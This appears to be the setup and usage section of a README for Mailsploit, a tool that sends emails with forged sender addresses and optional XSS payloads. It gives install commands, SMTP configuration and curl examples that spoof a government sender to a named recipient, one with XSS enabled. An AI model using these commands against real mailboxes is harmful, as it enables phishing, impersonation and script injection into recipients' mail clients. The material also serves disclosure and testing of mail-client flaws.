- Clone the repository
- Edit
originalFrom
insrc/main/Config.ts
with your email address. - Run the following commands in the terminal:
yarn install && yarn dist # Require yarn
- Run the following commands in the terminal:
# First configure the environment
export MAILSPLOIT_HOST=[SMTP Server Hostname]
export MAILSPLOIT_PORT=[SMTP Server Port (default 465)]
export MAILSPLOIT_USERNAME=[SMTP Server Username]
export MAILSPLOIT_PASSWORD=[SMTP Server Password]
export MAILSPLOIT_IGNORE_TLS=[Boolean - Ignore self signed certificates]
npm run build && npm start
- That's it. The server will run on localhost:8081
You can do a POST request containing sender
, receiver
and options
(from 0 to 13) parameters to the /process
endpoint.
Example using cURL (payload 3 without XSS):
curl --url http://localhost:8081/process --data "sender=potus@whitehouse.gov&receiver=sabri@riseup.net&options=2"
or, all the payloads with XSS:
curl --url http://localhost:8081/process --data "sender=potus@whitehouse.gov&receiver=sabri@riseup.net&xss=true&options=-1"
All the payloads are available here.